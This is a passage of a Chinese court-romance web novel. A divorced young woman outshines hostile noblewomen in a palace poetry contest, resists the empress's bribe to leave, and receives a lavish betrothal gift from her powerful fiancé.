季含漪垂下了眼帘。
又看了看身边的孙宝琼,又想出了点头绪。
她们都是太后那边的人。
正想时,又有人笑着道:“看来郡主是见过这样的人了,也说出来让我们听听趣事。”
封宁郡主便带了笑:“要我说也行,但你们就听个趣儿,可别对上人。”
孙宝琼看向封宁郡主:“罢了吧。”
封宁郡主笑道:“就是听个乐趣,说说无妨。”
说着她便开口:“上回我参加了个诗会,诗会上来了位女子,那可是书香门第的姑娘,人人都觉得她定然诗对得好,可最后你们知晓她做了什么事?可笑掉大牙了。”
众人好奇心被引出来,纷纷的问:“什么事?”
季含漪静静看向封宁郡主。
封宁郡主便笑道:“那女子诗文普通倒罢了,偏
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偏还帮她妹妹**,结果让她的妹妹不争气,自己对诗对不上来,居然哭着跑了,闹了好大一场笑话。”
坐在一边的沈素仪听了这话,脸色微微一僵,眼神看向旁边的李漱玉。
这事是她三哥招呼过她莫宣扬出去的,她虽然与封宁郡主交好,但也没往外头说,但李漱玉与封宁郡主也交好,那定然是她说的了。
李漱玉见着沈素仪目光,朝她笑了笑,又凑过来低低说一句:“姐姐别心善,给那样的人留什么脸面?”
沈素仪抿了抿唇不说话,只是皱眉低声道:“你下回再别出去说,没得让人议论起我们的诗会邀了这样的人来。”
李漱玉笑着点头:“放心,下回谁还邀那种人。”
这时候在场的人上已经有人称奇道:“竟有这样有辱门风的事?”
李漱玉便接了句:“我要是她,往后我可不敢再出来丢人了。”
说完她视线带了些笑的看向季含漪:“季姑娘,你说是不是?”
李漱玉这特意问季含漪的一句,众人便又往季含漪身上看过去,眼里都带了点探究的意味。
孙宝琼的目光亦往季含漪身上看去,动了动眼眸。
看着季含漪漂亮的侧脸,孙宝琼微微眯了眯眼,输给这样的人,不管她容色多好,她心里是不服气的。
她自小有最好的先生教导她琴棋书画,有最懂礼仪规矩的嬷嬷教导她仪态,她样貌不输季含漪,才情听来季含漪不过一个草包,更何况她还和离过,可她竟输给了这样一个人。
若是能叫她心服口服的输,她反而愿意认输祝愿,可明明马上太后就要让皇上给她和沈侯赐婚,却偏偏这时候冒出个季含漪来。
历来能沉得住气的心性,第一回有那么些沉不住气。
沈候对她无意她不气,因她从没想过能两情相悦,可在沈候的眼里,自己竟比不上季含漪,如何心里能甘心。
她来京是要嫁最好的世家,最好的男子,沈肆才是最适合她的,也最与她相配。
本就该是天造地设的一对。
可如今却赤裸裸的打了她的脸。
她此刻难得的有一丝幸灾乐祸,想要看季含漪怎么应付。
第184章 讽刺
这时候场面很静。
季含漪感受到李漱玉的视线,微微抬头对上李漱玉,淡笑了下:“旁人目光于我来说并不要紧,再说,道听途说来的,究竟是如何实情真假难辨,身为女子,我也更不会去随意妄言点评其他女子。”
李漱玉愣了愣,没想到季含漪脸皮这么厚,脸上没半点心虚,反而还讽刺她道听途说就下定义。
这时候一位姑娘就道:“季姑娘这话也没错,毕竟道听途说的,不知真相,又怎么能毁了一个女子名声。”
李漱玉只好咬咬牙作罢了。
孙宝琼看了眼李漱玉,又朝着皇后含笑提议道:“借着今日的赏花宴,光赏花有些没意思了,不若我们以花为名行飞花令,以花字为题,接不上的,罚酒一盏,增点趣味也好。”
皇后看了眼孙宝琼,又看了眼李漱玉,虽说她今日叫季含漪来是另有目的,这李漱玉虽还不知晓季含漪身份,但若是沈肆一意孤行,季含漪就是沈家的人,
沈家的人若是让一个姑娘羞辱,这是在羞辱沈家。
至于孙宝琼现在的这个提议,里头的深意她心里清楚,却看向了季含漪问:“你觉得呢。”
皇后特意问季含漪这一句,是不想让季含漪太出丑,即便自己不喜欢,但也是自己弟弟喜欢的,想方设法想要娶的人。
季含漪便站起来恭声回话道:“明昌郡君的提议好,也增添了兴致。”
皇后意味深长的看了季含漪一眼,便就朝着姑娘们点头:“也好。”
孙宝琼便问皇后:“还请舅母赐一花名,我们以花名为题。”
孙宝琼这么说,又增加了难度。
皇后也知晓,孙宝琼这也是在刁难季含漪。
但她看季含漪眉色淡定,便道:“阁楼外种着的是当年太祖皇帝让人种的白雪塔玉兰,便以玉兰为题吧。”
开始行花令时,李漱玉先对了诗:“玉树临风立小庭,蓝信素魄本晶莹,不争桃李三春色,只向清明散冷馨。”
李漱玉虽说出身将门,但她母亲出身江南书香大族,受她母亲指点,自小在京中便是以才女自居。
她先对出的诗句清通,将玉兰比作玉树兰心,中规中矩,也是极好的诗词。
每人对了一轮,有作:“胭脂洗尽真颜色,独占清寒第几桥。”
也有人对:“玉盏擎空承露白,兰桡分浪载香轻。”
封宁郡主斜斜看着季含漪,对了句:“玉作形骸雪作容,摇春卖尽旧东风。”
这诗出来,场面微微一静后又赞叹起封宁郡主的才华来。
季含漪眼神看了封宁郡主一眼。
封宁郡主在看自己,那这诗大抵是在讽刺她空有皮囊,却品行轻浮。
她不动声色的淡淡抿唇。
已经感受到封宁郡主处处争对自己的敌意了。
皇后亦眯眼看了封宁郡主一眼,旁的人不知与自己弟弟定亲的人是谁,封宁是知晓的,不由眼眸变得冷了冷。
封宁也察觉到皇后的目光,刚才只顾着出气,这会儿被皇后一眼看过来,猛的一凉,反应了过来,一下就缩了脖子,再不敢多话。
这时候还没有对的,就只剩下季含漪与孙宝琼了。
孙宝琼含笑看向季含漪道:“姐姐可先?”
季含漪淡笑道:“无妨,郡君先对。”
孙宝琼深深看着季含漪,虽说以她身份,从不屑于瞧不上谁,但看这会儿的季含漪,当真她有些瞧不上,没有真才实学,拖到最后,不过是让自己更难堪罢了。
恐怕刚才封宁诗里的讽刺,瞧她模样也是没有看出来的。
也好,这是她自己选的。
她面上淡笑,从容开口:“玉山崩雪堕瑶京,兰畹移根向晚晴。莫讶孤标辞暖律,人间难得是清醒。”
这诗一出,满座动容。
起头的那句玉山崩雪气势磅礴,兰畹移根又暗用了屈原香草之典,用典精深,气格高远,瞬间将之前对的那些诗句都比了下去。
福安公主也忍不住夸赞道:“宝郡君当真是本宫
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见过最妙的人了。”
孙宝琼始终眉目淡然贞静,含着淡笑,扫过季含漪一眼,仿如大家闺秀,早已习惯了赞颂。
她谢过了福安公主,又看向季含漪:“姐姐可想好了?”
季含漪垂眸看向阁楼外的玉兰花,缓声开口:“玉著雪衣枉称珍,风过方知骨里尘。堕泥犹作翩翩态,笑煞东君错认春。三千界外玲珑影,十二阑干次第灯。东风未解裁量苦,一树悲欢各自凭。”
季含漪对的不是绝句,而是更需功力的律诗。
越是最后其实越难,但季含漪在最后一个还能对出这般出色的诗词来,满座寂然。
就连李漱玉脸色也微微变了变,要不是亲眼看到季含漪张口,她都怀疑那不是季含漪对出来的。
诗句中引用的十二阑干是佛教用语,仅仅几句诗,季含漪的才情不用多说。
更让人深思的是,季含漪诗中的那点题的枉称珍和骨里尘了,一个意思是平庸,一个意思是品行污浊,又是意有所指谁。
裁量苦和各自凭,更是说人心胸狭隘不够洒脱。
整个诗句里,都掩着暗讽。
沈素仪脸色微微一变,她虽说知晓季含漪有学识,但在那次诗会上她的诗词寻常,便觉得她诗词不行的,现在一听,又想起刚才李漱玉对季含漪的那些嘲讽,不由的微微一抿唇。
孙宝琼眼色微动,看向季含漪,满是探究。
脸色更是大变的是封宁郡主,刚才季含漪念诗时看她的那一眼,让她一下就明白了,她在讽刺自己庸俗和气性不堪。
但刚才被皇后看了一眼,她这时候再气也只能咬碎牙往肚子里咽。
阁楼的对面是一座依山而建的观赏楼,沈肆与皇上站在外头的廊上,都低低看向对面。
皇上的目光看在季含漪的身上,虽说听不到对面在说了什么,但那娴静的身影看起来的确有些让人眼前一亮。
这是季璟的女儿。
皇上对季璟这个人,心里的情感是复杂的。
第185章 排挤
季璟生的很俊美,俊美的很浓艳,身上还有一股张扬,因为季璟是她岳丈的得意门生,他曾经也很信任季璟。
但当年那件事,辽西节节败退,他自然要问罪他,季璟那夜跪在他殿前,手上捧着**的长卷,里头的内容触目惊心。
军中的确塞入了很多世家子弟,包括曾拥戴他的功臣后人,他们仗着祖上功绩贪功冒进,不听指挥,酿成大祸。
甚至还有冒领军粮,虚报战功的。
但他当时已经登基五年,其实还要收拢人心,季璟**的这些人太多,辽西当时又是那般境况,要是这么全都惩治下去,辽西更加无人,必然引起朝廷动荡。
再有那时候百姓正是民愤时,战事也紧急,还有军中那些人多是在朝廷拥戴自己的,不好处置。
即便要处置,那个时候也不是时机。
只能说错是不在季璟身上,但季璟必须要死,还要将他的罪名做实,安抚当时动荡恐慌的人心,让他更收拢一批人心,再借故换了辽西的那批人。
但沈肆现在要娶季璟的女儿。
再有大长公主对季含漪也夸赞有加。
皇上淡淡的收回目光,又看了眼沈肆:“一个和离妇,在你眼里,她比宝琼还要好?”
沈肆抿唇:“在臣的心里,喜欢一个女子,不在乎她是否嫁过人,臣喜欢的是她的人。”
皇上微微侧头,看着沈肆冷清又恭敬的模样,皱起了眉:“你姐姐很不喜欢她。”
沈肆敛眉,躬身行大礼:“臣找一心仪的人太难,还请皇上成全。”
皇上低低看着沈肆低垂的后背,他算是看着沈肆长大的,小时候脊梁骨直,在他面前虽说恭敬,但浑身有股清高,做事公正严谨,正是因这份清高,他让他去都察院。
沈肆更是他一手教导起来的,有沈肆这样品性的人在他身边,其实他也很安心。
自小到大,唯一能让操点心的就是这个了。
他更明白沈肆的意思,碰见喜欢的女子,的确是一件不容易的事情,况且他心底深处对季璟是带了点亏欠的,答应这门亲,也当作是补偿在他这唯一的女儿身上了。
他叹息一声,伸手抬了抬沈肆的手臂:“你的婚事情朕不会说什么,朕应了。”
“朕让礼部着手你的婚事如何?”
沈肆又躬身:“臣多谢陛下抬爱,只是大婚事宜臣已安排妥当了。”
沈肆知晓季含漪瞧着软,心思却聪慧,若是叫她知晓礼部着手的大婚,那必然是皇上同意的,恐怕心里会多想。
他不愿她胡思乱想。
皇上倒是诧异了下,随即又点头:“你安排妥当了也好。”
沈肆又被皇上叫进屋内,商讨上回军户**的案子。
毕竟是曾跟过他的功臣,如今太平盛世,皇上现在是想要对付那些蛀虫了,但怎么对付,还要细思。
沈肆往阁楼对面看一眼,视线扫过不远处的文安,让他务必好好看着,及时过来回禀。
文安收到侯爷的视线,那是连眨眼一下都不敢的,仔仔细细的盯着。
这头季含漪自做了花令,旁人看她的目光便少了许多轻视,就连李漱玉也没再出头。
但封宁郡主提议说既然都对出来了,就得选出最好的那两个来,其余的罚酒。
皇后深深看季含漪一眼,点了点头。
便让在场的每个人说一个自己觉得对得最好的。
一场下来,被夸的最多的便是孙宝琼与封宁郡主。
季含漪微微淡了淡眸子,对这个结果没有半点觉得不平,她早料到了。
选的从来不是才情。
罚酒送到面前来的时候,她也坦然饮下。
孙宝琼看在眼里,神色里却并没有多少高兴。
接着又端上来许多用花制作的宫廷糕点,皇后娘娘让众人随意品尝说话,又带着福安公主和永清侯夫人去里头雅间品茶,留姑娘们在外头说话自在些。
皇后娘娘一走,场面上的确热闹了许多。
但这份热闹是与季含漪没有关系的。
在场的姑娘们一来都未出嫁过,二来从前都相识,说趣打闹,不管是有意无意,都是将季含漪隔绝在外的。
李漱玉暗地里受了封宁郡主的挑拨,更是为了表忠心的起了头的排
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挤,但凡有人想过去与季含漪说上两句话,必然要被拉走。
她们在等着看季含漪窘迫模样,等着看她的笑话。
季含漪心里头都知晓。
但她也无意和排挤讽刺她的人结交,坐在围栏边上赏花,自己一个人还觉得自在些。
封宁郡主见季含漪居然脸上半点窘迫也没有,反而正悠闲自得的赏花吃糕点,气得脸色变了变。
可她现在再不能出头了,便拉着孙宝琼低低说话。
孙宝琼静静看了封宁郡主两眼,低声道:“她没惹你,就算了。”
封宁看向孙宝琼:“可她凭什么抢宝姐姐的亲事?她除了皮相好会讨好男人,她还会什么?就是个伺候人的玩意儿。”
孙宝琼脸色微微一变,紧紧捂住了封宁郡主的唇,将她拉到一变,压低声音道:“别乱说话,别忘了她的身份,不管怎么说,你这是在打沈家的脸。”
封宁郡主一僵,又撇嘴小声道:“我祖母还是太后呢。”
孙宝琼皱眉提醒她:“太后只是太后,还能护多久?将来太子登位,皇后还在,你得罪沈家,当心你自身不保。”
这也是她母亲让她将来一定要嫁入沈家的原因,当今朝堂大势,唯有沈家能让家族继续,太后那一脉的,新帝一登基,就快不行了。
短短两句话,叫封宁郡主后背发凉,一下子住了嘴。
她又小声道:“可是现在外头人都觉得姐姐才是皇后娘娘中意的沈侯夫人,好些人也来与姐姐亲近,可沈侯忽然要与季含漪成婚又是什么意思?放着姐姐这么好的人不要,娶那个和离妇,不是打姐姐的脸?”
“事情传开了,将来京里不笑话姐姐?”
孙宝琼脸色微微一变,历来从容的脸色难看,掐紧了手。
是啊,女子的脸面名声最要紧,可她输给了一个和离妇,旁人只会觉得她不好。
雅间内的皇后一直都在看着外头的场景,见着季含漪独自一人坐着,便知道火候到了,叫身边人去将季含漪请到另一间雅间里。
季含漪被宫人引着进去的时候,皇后已经先等着了。
第186章 沈家当家主母是不好当的
雅间布置精巧,皇后姿态放松的坐在一张大贵妃靠上,又让季含漪坐到自己身边来。
等到季含漪坐下后,皇后才缓缓的打量季含漪。
季含漪坐的很规整,浑身一股自然自然婉约,又叫人看着很舒适的仪态,细眉如月,雪白玉辉的干净貌美模样。
她姿态也很恭敬,没有拘谨,只有一股从容的收敛。
其实今日季含漪的表现她是很满意的,一直从容不迫,面对刁难冷落和嘲讽,也游刃有余,并没有做出失态或是拘谨的表现来。
但是,她叫季含漪来这里,为的也是让她自己感受。
她并不属于这个圈子。
他的弟弟身边都是沾点皇亲国戚的贵族女子,她们眼高于顶,个个才华横溢,瞧不上她。
皇后垂眸饮茶,又才缓缓的开口:“刚才你对的诗很好,大家也心知肚明你的诗才是最好的,可最后选的时候,却不是你。”
“你知晓为什么么?”
季含漪微顿,又点头:"知晓。"
因为对于今日的那些人来说,自己是外人。
一个无权无势,身后没有倚仗的外人。
一来不能让一个外人夺了魁出风头,二来她们都知晓那些姑娘里,最有前程的人是谁。
皇后有些欣赏季含漪的聪慧,她看得明白,不需要她费心解释。
那她就更应该明白,在这个圈子里,沈肆娶她,是要跟着被人非议的。
皇后又慢慢开口:“封宁郡主排斥你,你知道为什么么?”
皇后的声音落下,屋内很安静。
季含漪并没有思索太久,只是稍微顿了下就开口:"因为民女的身份。"
皇后垂着眼眸看看看着季含漪:“你说的对,是你的身份。”
“她知晓你就是大长公主认下的义女,知晓和阿肆定亲的人是你,但当你得到你本不该得到的东西时,旁人就会觉得你不配。”
“而她们觉得你不配,那你就永远融不进她们。”
“但阿肆的妻子,将来必然要与她们来往的,将来还会接触更多的贵女,还要在她们之间游刃有余。”
“但他若是娶了你,他也得承受你身上的非议,非议他娶一个和离过的二嫁女。”
季含漪垂眸,皇后的字字句句她都听得明白。
嫁给沈肆的人是她,并不是众望所归,皆大欢喜的,她也不是被众人所期待的那个人。
但她还记得沈肆昨夜与她说的话,无论遇见什么,他选择了她,他们如今是同路,同进同退,也要永远信他。
季含漪沉默一下,还是轻声开口:“旁人如何说我不能决定,我只能尽我所能的做好,配得上沈大人,也尽力不让皇后娘娘失望。”
皇后淡淡的轻嗤了声。
她是想要让季含漪主动知难而退的,这也是她今日叫她来的目的。
融不进去的地方,强行融进去,难堪的只会是自己。
但季含漪显然还没有这个觉悟。
阿肆是选择了她,但她随时可以被换。
外头人还不知道大长公主的义女是她,但说服大长公主,换一个人嫁给阿肆,也不是不行。
她可以身份不高,真成了沈家妇,没有人敢指点,但决不能是一个和离妇。
她希望季含漪识趣,主动离开。
她的声音微微重了重:“尽力做得更好?"
“刚才你的诗作的还不够好?但你依旧得不到赞颂。”
“你也不要觉得你的夫君厉害,你便可以缩在你夫君的羽翼下一辈子享受荣华富贵,阿肆是沈家将来的家主,沈家将来的所有兴衰都担在他的身上,他的妻子也必然是于他有益处的,能为他分担琐事,能管理好后宅。”
“别觉得后宅女子就是吟诗作对,官场与后宅,从来是息息相关的,那些妇人之间的交往,你当仅仅只是风花雪月?帮助夫君结交更是一门学问。”
“沈家当家主母的身份可是不好当的。”
说着,皇后不再给季含漪说话的机会,她让人送来一个匣子送到季含漪的手上,让她自己打开。
沉甸甸的匣子打开后,里头是数不清的银票。
皇后高傲的声音传来:“这里头有五万两,足够你和你母亲一辈子过好,不管你去哪儿,买宅子,买丫头,买护卫,我都不在乎。”
“本宫只要你远远的离开京城,走的越远越好。”
说着皇后扬着眼睛看着季含漪:“当初本宫问你,
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你不也说你不喜欢阿肆么?”
“这样正好,本宫也不想为难你。”
季含漪捏着匣子的手紧了紧。
尽管心里有准备,但听到这些话的时候,心里还是有些刺痛。
的确在所有人眼里,自己是配不上沈肆的,其实她也从没那般想过,自始至终都没有。
她张张口,正要开口说话,外头忽然走进一道颀长的身形。
季含漪有些错愕的看向沈肆,又看着他步履沉稳的一步步走到她的身边,又将手搭在她的肩膀上。
他温热的掌心带来温度,指尖轻轻按了按她的肩膀,好似在叫她放心。
接着沈肆低沉的声音响起:“话可说完了?”
皇后静静看着沈肆,他此刻这袒护的动作做得毫不避讳,那眼神看着他,带着从前没有的沉色,好似在怪她欺负了人。
皇后对上沈肆的视线,这个弟弟她当真拿他没法子,冷下脸来:“你说呢。”
沈肆抿抿唇,坐在季含漪旁边的椅子上:“正巧我也无事,陪着含漪一起听皇后娘娘教诲也好。”
皇后的脸色又沉了下来,看着沈肆冷笑:“你现在说这话,平日里你听过教诲了?”
沈肆神色里带着一丝淡淡冷淡,视线余光停留在季含漪身上,见着她微低着头,手指落在放在膝盖上的匣子上,像是带着一股淡淡难过。
他收回视线,抿了抿唇,又低声道:“此刻听也不迟。”
皇后被沈肆的话给气住,从前要他留下多说几句话比登天还难,现在还有自觉听她说话。
该说的那天他进宫早已说尽了,他铁了心的闹出这么大阵仗要娶,本想从季含漪身上入手,哪里想沈肆跟护着什么似的过来了,一时没有了说话的兴致。
她不理会沈肆,只看着季含漪淡淡道:“今日本宫与你说的话你好好想想。”
沈肆没让季含漪回话,直接将季含漪手上的匣子拿过来,打开看了看,又放回到一边的小桌上挑眉看向皇后:“不劳皇后娘娘费心,等成婚后,我给含漪的只会更多。”
说着沈肆牵着季含漪站起来,幽深的眼眸看向皇后,眼眸里满是沉意,低低道:“我的婚事,还请阿姐祝愿。”
第187章 她总要习惯的
皇后安静看着沈肆的神情。
她想起沈肆前几日也是用这样的神色与她说,说他只求这一件事情,说他没了季含漪,可能一辈子也不会再娶了。
所以她想要让季含漪知难而退,所以她非要见季含漪一面。
皇后眼神动了动,又无奈的闭上眼睛。
她此刻一句话都已经不愿再与沈肆多说。
不想再说话。
屋内是凝结的沉默。
沈肆握紧季含漪的手,牵着她直接走出了雅间。
外头还坐着刚才的贵女,见着沈肆居然牵着季含漪出来,一个个瞪大了眼睛。
又见沈肆淡淡的一眼往她们身上看过去,眼神冷的骇人,都是闺阁中的女子,平日里哪里见过这样寒凉又骇人的神情,虽说只是随意的一眼,却一个个都被吓得都僵住,大气都不敢喘一声。
一直到两人的背影下了楼,她们才反应过来,一个个赶紧去问沈素仪到底是怎么回事。
沈候怎么会牵着季含漪的手从皇后娘娘那里出来。
这简直让她们连说服自己接受都觉得是天方夜谭。
沈素仪也是震惊不已的,在她看来那一幕简直惊悚。
她那连丫头都靠近不了的五叔,是什么时候和季含漪走在一起,还牵着季含漪的手的。
她都觉得脑子懵了,周遭急促问她的话,一句都说不出来。
李漱玉更是瞪大了眼睛,不敢置信,又想起刚才沈候特意看来的那一眼,身上发凉。
孙宝琼静静的走到凭栏前,低头看着沈肆带着季含漪走在楼下的背影,被百花拥簇,在春日晏晏的桃花里,从眼前走远。
她的眼神也一寸寸变凉。
输给那样一个女子,身世背景都不如她,又嫁过人,她的确很难接受。
这时候身后却传来一道含笑又漫不经心的声音:“宝琼。”
孙宝琼一顿,回过头就看到永清侯府的世子程琮往这边走来。
孙宝琼看到程琮时脸色微微一顿,接着又客气疏离的喊了声:“表哥。”
程琮淡笑一声,顺着孙宝琼的目光看过去,又漫不经心道:“那姓季的女子叫表妹不高兴了?”
孙宝琼不说话。
程琮又侧头看向孙宝琼,淡笑一声,声音很低:“让她消失,或是毁了她,表妹不就能够嫁给沈肆了。”
孙宝琼脸色一顿,看向程琮那双好似深情又好似漫不经心的眼睛。
沈肆直接带着季含漪王马车边走,他的手握得很紧,给了季含漪足够的心安。
季含漪坐在马车上的时候,心也就放松了。
沈肆还未上来,但季含漪在马车内听到外头一道年轻的声音:“舅舅。”
马车外的沈肆回头,就见着太子往他这边过来。
刚才他过来是看着季含漪单独去了皇后那里,担心她不能应付就赶了过去,所以走的匆忙。
沈肆往太子面前走了过去。
季含漪微微掀开身边的帘子往沈肆看过去,只看到沈肆与一道明黄色身影一起站着的身影。
听着刚才的称呼,此刻正与沈肆说话的人,应该是太子了。
季含漪看着这幕有些失神,想起皇后的话。
从前她接触过的沈肆,不过是在沈府的宅院里,今日里才好似接触到他更真实的一面。
沈肆身边的人,都是皇亲国戚,都身份高贵,即便要指婚给沈肆的那位明昌郡君,也是刚才那些众多贵女中最显眼的那个。
不管是才情容貌还是出身,她都是旁人眼中最配得上沈肆的。
当拥有了与自己身份并不匹配的东西的时候,就会招来怨怼嫉恨,季含漪明白皇后娘娘话里的意思。
即便真的成亲,刚开始也会有艰难。
季含漪失神看着沈肆的背影,又放下了帘子,在昏暗的马车内垂了眼眸。
沈肆并没有在外头耽搁太多时间,很快就进了马车内,又坐在了季含漪的身边,让马车回去。
沈肆的目光微偏,看向季含漪眼眸低垂的模样。
即便是在这样昏暗的光线里,也依旧遮掩不掉她身上的那股白净。
又是微微低眉的妩妩模样,那耳边的绿玉小坠熠熠,有一刻看得沈肆有些心疼与心热。
他想,如果两人成了亲,他定然是要将她抱过来,让她坐在自己的腿上,让她的脸颊靠在自己的胸膛上,用最贴紧的方式亲近抚慰她。
沈肆知晓季
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含漪今日定然是受了些委屈的,他低声问她:“李漱玉和封宁郡主叫你难受了?”
季含漪一愣,抬头看向沈肆。
沈肆的眼神很沉,静的如一潭深水,看人的眼神动人心魄,明明是他平静的神色,却叫被看的人心情难以平静。
沈肆低沉的声音又传来:“下回她们再遇见你,不敢如此了。”
季含漪看着沈肆,她刚才在阁楼上的事情,难道沈肆都知晓么。
其实她心底深处还是有一点委屈的。
刚才在宴会上,在皇后娘娘那里,她那股委屈还不明显,因为她知晓,哪怕自己露出了一点脆弱,旁人就可以借着她那瞬的弱势肆意踩踏。
但这会儿在沈肆的面前,听着他为自己出气的话,那委屈就跟泄洪似的,眼眶也红了。
又不想让沈肆看见,只低头盯着自己膝盖上的指尖。
她都已经答应了沈肆,便做好了会面对的情况,又怎么能觉得委屈呢。
沈肆让她帮他,也是信任她,沈肆对她的好,也是天大的好。
她只哑哑的应了一声,指尖微微的捏紧。
沈肆低头看着季含漪那捏的指节骨都有些白了的手指,又低头看向她低垂的眼帘,纤长的睫毛轻颤,带着柔若无骨的楚楚动人。
沈肆抬手捏在季含漪的下巴上,缓缓将她低垂的脸庞抬起来,暗色中见不到她微红的眼眶,却能看到她眼底微不可察闪烁的一点点细光。
沈肆的心蓦的一紧,手掌抚在季含漪光滑又柔软的脸庞上,他低低道:“往后一切都有我的。”
沈肆宽大的手掌落在脸颊上,季含漪有瞬间的失神,她想要微微往后退,这样亲近的动作她还不习惯。
沈肆察觉到季含漪的动作,指尖一顿,依旧没有收回手。
她总要习惯的。
往后两人还会有更亲密与亲近的事情,她也不能总是逃避。
季含漪已经退到了车壁角落处,也依旧没躲开沈肆的手,反而沈肆越压越近,呼吸快扑到她脸上,她又听到沈肆沙哑的声音:“有什么话想与我说么。”
季含漪顿了下,还是说出心底想问的问题:“沈大人,为什么选我?”
第188章 是我给你的聘礼
这个问题季含漪好似从前问过,那时候沈肆说他身边的女子只有她。
但是季含漪想,自己显然不是最合适的那个人的,沈肆要是选择其他人,也不会被所有人不看好。
选她好似两人都更艰难一些。
沈肆一顿,收回手:“想要后悔了?”
季含漪一愣,又摇头:“我答应过沈大人的,不会后悔的。”
沈肆低笑了声:“旁人可过不了大长公主那关。”
季含漪哑了哑,又闷声道:“万一有人呢。”
沈肆静静的挑眉,眼底渐渐幽深,又缓缓道:“含漪,你最合适。”
季含漪一愣,沈肆此刻的声音冷清,即便看不清他脸上的神情,但也能想象出来他此刻严肃的神情。
季含漪便泄了气
想着自己本答应了的,又再问这个做什么,沈肆应该也觉得她不该问吧。
她又很听话的嗯了一声。
沈肆听出季含漪声音里的那点小情绪,也是,今日受了冷眼,在皇后那里估摸着也受了些委屈,有点小情绪也寻常。
季含漪在他眼里,有时候还是从前小时候那个有些贪嘴,又软糯性子的小姑娘。
小姑娘跟着他好似有点委屈了,他自然要补偿回来。
又扯了扯唇角:“品珍楼出了新菜,想去吃么?”
季含漪抬头看向沈肆,见着他目光都放在自己身上,便就问了句:“什么新菜?”
沈肆笑了下:"去了就知晓了。"
马车绕了个弯,没回去,直接去品珍楼了。
面前摆了满满一桌的菜,季含漪看呆了。
沈肆慢条斯理的从文安手上拿过木筷,又放到季含漪手上。
季含漪接过木筷还愣了下,这木筷上头刻着沈字,是沈肆平日里用的木筷。
又看面前放着的青瓷小碗底上也印着沈字,也是沈肆平日里用的。
文安在旁边摆好了东西,才抱着匣子轻手轻脚的退了出去。
季含漪本来有点犹豫,毕竟是沈肆平日里用的东西,要是自己用了,他会不会介意。
又看坐在对面的沈肆往自己碗中夹菜,她也咽下了想问的话,心安理得的吃菜。
站在角落中的文安瞧着这幕,想着侯爷推了皇上的宫宴,为了季姑娘早早退出来来酒楼吃,不就是不想让季姑娘呆在那无聊的宴会上再受半点委屈么,平日里侯爷可很少会来酒楼的。
不过侯爷最近笑的比从前一年都多,也是值得了。
桌上的菜都是季含漪喜欢的,她吃饱了,心里头的那丁点委屈也消散了。
沈肆一直静静瞧着人,见着人用饭的模样和小时候倒没怎么变,总之是不会饿着了自己的,爱吃什么也不会太客气。
她小时候吃的有点圆,现在也依旧不是瘦弱的样子,看来即便在谢家过得不怎么样,也不会吃不下饭,不会饿着自己。
沈肆想着唇边忍不住就含了一抹笑意。
季含漪又认认真真的净口,不过在沈肆的面前她有点不好意思,抬着袖子,不想叫他看。
但到底有点羞涩,袖子放下来的时候,帕子擦在唇边,眼神不敢往沈肆脸上看。
沈肆看着季含漪羞涩的模样,模样动人,他忍不住凑近她,又与她低低道:“这会儿我还得进宫一趟,下午我早些回来,再带你出去走走。”
季含漪本想说不用了,沈肆却已经走到她身边,伸手牵着她往外走。
季含漪的手指藏在身后想躲,却躲不过沈肆的手,才忍不住小声道:“沈大人,这里也要牵着么?”
掌心里的手又小又柔,握在手里柔若无骨,沈肆包裹的很紧,一丝也不想松。
他低头看她,低笑了声:“还没习惯么?”
季含漪手心都觉得有些热了,又看沈肆自然而然的神情,好似唯有她在紧张介意,便下意识的否认:“没……”
沈肆笑了笑,牵着季含漪往楼下走。
到了宅子,沈肆牵着季含漪下了马车。
季含漪看着沈肆站在马车前,又听他道:“我让人给你送了些画纸,上午就送来了,你回去看看,看合不合你心意。”
上回顾晏送来的画纸季含漪都还没来得及画,如今沈肆又送来,怕是这一年的画纸都不用再买了。
又想怎么都送画纸来。
下午快天黑的时候,沈肆真的来了。
本来季含漪还想着沈肆大抵会很忙,晚上不会来了的。
她出去的时候,沈肆没有如
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往常那样坐在马车内等她,反是站在马车外,静静的看着她过来,又在她走近的那一刻,伸手牵着她的手,带着她上马车。
这样的被人稳妥周到照顾着的感觉,除了父亲,季含漪从未在一个男子身上体会到。
在快要进帘子的那一刻,她不由的回头看向沈肆。
灯火明亮,晚风中沈肆的面容矜贵,眼眸寂静里依旧带着高不可攀的清冷,她虽然还是有一点在他面前会紧张,但她却有一瞬觉得有他在真好。
即便她早就不奢望感情,她也觉得一辈子与沈肆在一起,是一件让她安心的事情,她一点也不后悔。
季含漪失神片刻,在看到沈肆的目光在看她时,又忙咬着唇的回头,匆匆进了马车。
沈肆看着季含漪的背影,跟上了马车。
他带着季含漪去了北大街。
季含漪带着帷帽,两人并肩走着,因着沈肆身上那股一瞧就不是一般人的气场,对面来的人也大多避让,两人一起走的虽慢,但前路顺坦。
沈肆带着季含漪去江边站了站,下面有人放河灯,季含漪生了兴致,正想要开口的时候,沈肆就将一盏河灯放在了她的手上。
季含漪接过河灯还错愕一瞬,沈肆好似总能在她最需要的时候伸出一只手。
江风带着烟火气,她看向身边的沈肆,高大的,沉默的,脸上永远沉默冷肃,但好似没那么生人勿近。
她蹲下身,认真放了河灯,祈愿自己与沈肆,往后都一切顺坦。
放完河灯,沈肆又带着她去了铺子买了好些东西,那料子她不过是多看了一眼,沈肆便叫人买下来,首饰更是一盘一盘的送来让她挑选。
最后沈肆竟然将季含漪带到了抱山楼,又将个匣子放到季含漪的手上让她打开。
季含漪好奇的打开看,里头竟然是抱山楼的地契。
她瞪大眼睛看向沈肆,抱山楼竟然是沈家的?!
沈肆低头看着季含漪震惊的神情:“抱山楼是我父亲年轻时办起来的,后来我父亲无暇顾及,便交由旁人打理,外人很少人知晓。”
说着沈肆看着季含漪的眼睛,声音变低:“现在,这是你的了。”
“是我给你的聘礼。”
第189章 我们也要有自己的孩儿的
季含漪还在震惊中。
这么大的抱山楼,就这么给她了么。
即便是她什么都不用做,光是抱山楼的收益,也能衣食无忧的过一辈子,远远不是她那两间小铺子能够比的。
她过了许久才找回自己的声音:“可这么贵重的东西,沈大人就送给我了么?”
“沈大人还给了我宅院。”
沈肆看着季含漪这茫然震惊的神色,高华的神情在夜风中冷清又让人心安:“你帮我,我总归要让你心安,让你无后顾之忧。”
这话叫季含漪心头轻颤,她明白,即便是去蔚县,也未必会有顺坦的前路,是沈肆给了她另外一条后路。
她又听到沈肆低沉的声音:“再有,你很快将是我的妻,你的一生给了我,这些都是我应该给你的。”
回去的时候已经有些晚了,季含漪抱着匣子坐在马车里,有一点昏昏欲睡。
她已经许久没有逛街了,还逛到了这么晚。
